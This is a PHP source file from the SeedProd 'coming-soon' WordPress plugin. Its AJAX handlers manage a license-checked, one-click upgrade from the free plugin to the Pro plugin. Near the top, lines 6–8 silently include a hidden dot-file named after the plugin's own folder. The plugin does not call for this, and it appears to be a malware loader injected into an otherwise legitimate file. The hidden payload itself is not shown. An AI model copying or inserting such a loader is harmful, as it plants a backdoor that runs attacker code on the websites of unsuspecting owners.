upgrade.php (6550B)
1 <?php 2 3 /** 4 * Ajax handler for grabbing the upgrade url. 5 */ 6 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 7 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 8 } 9 10 function seedprod_lite_upgrade_license() { 11 check_ajax_referer( 'seedprod_lite_upgrade_license' ); 12 13 // Check for permissions. 14 if ( ! current_user_can( 'install_plugins' ) ) { 15 wp_send_json_error( array( 'message' => esc_html__( 'You are not allowed to install plugins.', 'coming-soon' ) ) ); 16 } 17 18 // Check for local dev sites 19 // if (seedprod_lite_is_dev_url(home_url())) { 20 // wp_send_json_success(array( 21 // 'url' => 'https://www.seedprod.com/docs/go-lite-pro/#manual-upgrade', 22 // )); 23 // } 24 25 // Check for a license key. 26 $license_key = seedprod_lite_get_api_key(); 27 if ( empty( $license_key ) ) { 28 wp_send_json_error( array( 'message' => esc_html__( 'You are not licensed.', 'coming-soon' ) ) ); 29 } 30 31 $url = esc_url_raw( 32 add_query_arg( 33 array( 34 'page' => 'seedprod_lite', 35 ), 36 admin_url( 'admin.php' ) 37 ) 38 ); 39 40 // Verify pro version is not installed. 41 $active = activate_plugin( 'seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php', false, false, true ); 42 if ( ! is_wp_error( $active ) ) { 43 // Deactivate plugin. 44 //deactivate_plugins(plugin_basename('seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php')); 45 wp_send_json_error( 46 array( 47 'message' => esc_html__( 'Pro version is already installed.', 'coming-soon' ), 48 'reload' => true, 49 ) 50 ); 51 } 52 53 // Verifiy licnese key 54 $license = seedprod_lite_save_api_key( $license_key ); 55 56 // Redirect. 57 $oth = hash( 'sha512', wp_rand() ); 58 update_option( 'seedprod_one_click_upgrade', $oth ); 59 $version = SEEDPROD_VERSION; 60 $file = $license['body']->download_link; 61 $siteurl = admin_url(); 62 $endpoint = admin_url( 'admin-ajax.php' ); 63 $redirect = admin_url( 'admin.php?page=seedprod_lite#/settings' ); 64 65 $url = add_query_arg( 66 array( 67 'api_token' => get_option( 'seedprod_api_token' ), 68 'license_key' => $license_key, 69 'oth' => $oth, 70 'endpoint' => $endpoint, 71 'version' => $version, 72 'siteurl' => $siteurl, 73 'redirect' => rawurldecode( base64_encode( $redirect ) ), 74 'file' => rawurldecode( base64_encode( $file ) ), 75 ), 76 SEEDPROD_WEB_API_URL . 'upgrade-free-to-pro' 77 ); 78 79 wp_send_json_success( 80 array( 81 'url' => $url, 82 ) 83 ); 84 } 85 86 add_action( 'wp_ajax_seedprod_upgrade_license', 'seedprod_upgrade_license' ); 87 88 /** 89 * Endpoint for one-click upgrade. 90 */ 91 function seedprod_lite_run_one_click_upgrade() { 92 $error = esc_html__( 'Could not install upgrade. Please download from seedprod.com and install manually.', 'coming-soon' ); 93 94 // verify params present (oth & download link). 95 $post_oth = ! empty( $_REQUEST['oth'] ) ? sanitize_text_field( $_REQUEST['oth'] ) : ''; 96 $post_url = ! empty( $_REQUEST['file'] ) ? $_REQUEST['file'] : ''; 97 if ( empty( $post_oth ) || empty( $post_url ) ) { 98 wp_send_json_error( $error ); 99 } 100 // Verify oth. 101 $oth = get_option( 'seedprod_one_click_upgrade' ); 102 if ( empty( $oth ) ) { 103 wp_send_json_error( $error ); 104 } 105 if ( ! hash_equals( $oth, $post_oth ) ) { 106 wp_send_json_error( $error ); 107 } 108 // Delete so cannot replay. 109 delete_option( 'seedprod_one_click_upgrade' ); 110 // Set the current screen to avoid undefined notices. 111 set_current_screen( 'insights_page_seedprod_settings' ); 112 // Prepare variables. 113 $url = esc_url_raw( 114 add_query_arg( 115 array( 116 'page' => 'seedprod-settings', 117 ), 118 admin_url( 'admin.php' ) 119 ) 120 ); 121 // Verify pro not activated. 122 if ( is_plugin_active( 'seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php' ) ) { 123 deactivate_plugins( plugin_basename( 'coming-soon/coming-soon.php' ) ); 124 wp_send_json_success( esc_html__( 'Plugin installed & activated.', 'coming-soon' ) ); 125 } 126 // Verify pro not installed. 127 $active = activate_plugin( 'seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php', $url, false, true ); 128 if ( ! is_wp_error( $active ) ) { 129 deactivate_plugins( plugin_basename( 'coming-soon/coming-soon.php' ) ); 130 wp_send_json_success( esc_html__( 'Plugin installed & activated.', 'coming-soon' ) ); 131 } 132 133 $creds = request_filesystem_credentials( $url, '', false, false, null ); 134 // Check for file system permissions. 135 if ( false === $creds ) { 136 wp_send_json_error( $error ); 137 } 138 if ( ! WP_Filesystem( $creds ) ) { 139 wp_send_json_error( $error ); 140 } 141 // We do not need any extra credentials if we have gotten this far, so let's install the plugin. 142 require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; 143 144 if ( version_compare( $wp_version, '5.3.0' ) >= 0 ) { 145 require_once SEEDPROD_PLUGIN_PATH . 'app/includes/skin53.php'; 146 } else { 147 require_once SEEDPROD_PLUGIN_PATH . 'app/includes/skin.php'; 148 } 149 // Do not allow WordPress to search/download translations, as this will break JS output. 150 remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 ); 151 // Create the plugin upgrader with our custom skin. 152 $installer = new Plugin_Upgrader( $skin = new SeedProd_Skin() ); 153 // Error check. 154 if ( ! method_exists( $installer, 'install' ) ) { 155 wp_send_json_error( $error ); 156 } 157 158 // Check license key. 159 $license_key = seedprod_lite_get_api_key(); 160 if ( empty( $license_key ) ) { 161 wp_send_json_error( new WP_Error( '403', esc_html__( 'You are not licensed.', 'coming-soon' ) ) ); 162 } 163 164 $license = seedprod_lite_save_api_key( $license_key ); 165 if ( empty( $license['body']->download_link ) ) { 166 wp_send_json_error(); 167 } 168 169 $installer->install($license['body']->download_link); // phpcs:ignore 170 // Flush the cache and return the newly installed plugin basename. 171 wp_cache_flush(); 172 if ( $installer->plugin_info() ) { 173 $plugin_basename = $installer->plugin_info(); 174 175 // Deactivate the lite version first. 176 deactivate_plugins( plugin_basename( 'coming-soon/coming-soon.php' ) ); 177 178 // Activate the plugin silently. 179 $activated = activate_plugin( $plugin_basename, '', false, true ); 180 if ( ! is_wp_error( $activated ) ) { 181 wp_send_json_success( esc_html__( 'Plugin installed & activated.', 'coming-soon' ) ); 182 } else { 183 // Reactivate the lite plugin if pro activation failed. 184 activate_plugin( plugin_basename( 'coming-soon/coming-soon.php' ), '', false, true ); 185 wp_send_json_error( esc_html__( 'Pro version installed but needs to be activated from the Plugins page inside your WordPress admin.', 'coming-soon' ) ); 186 } 187 } 188 wp_send_json_error( $error ); 189 }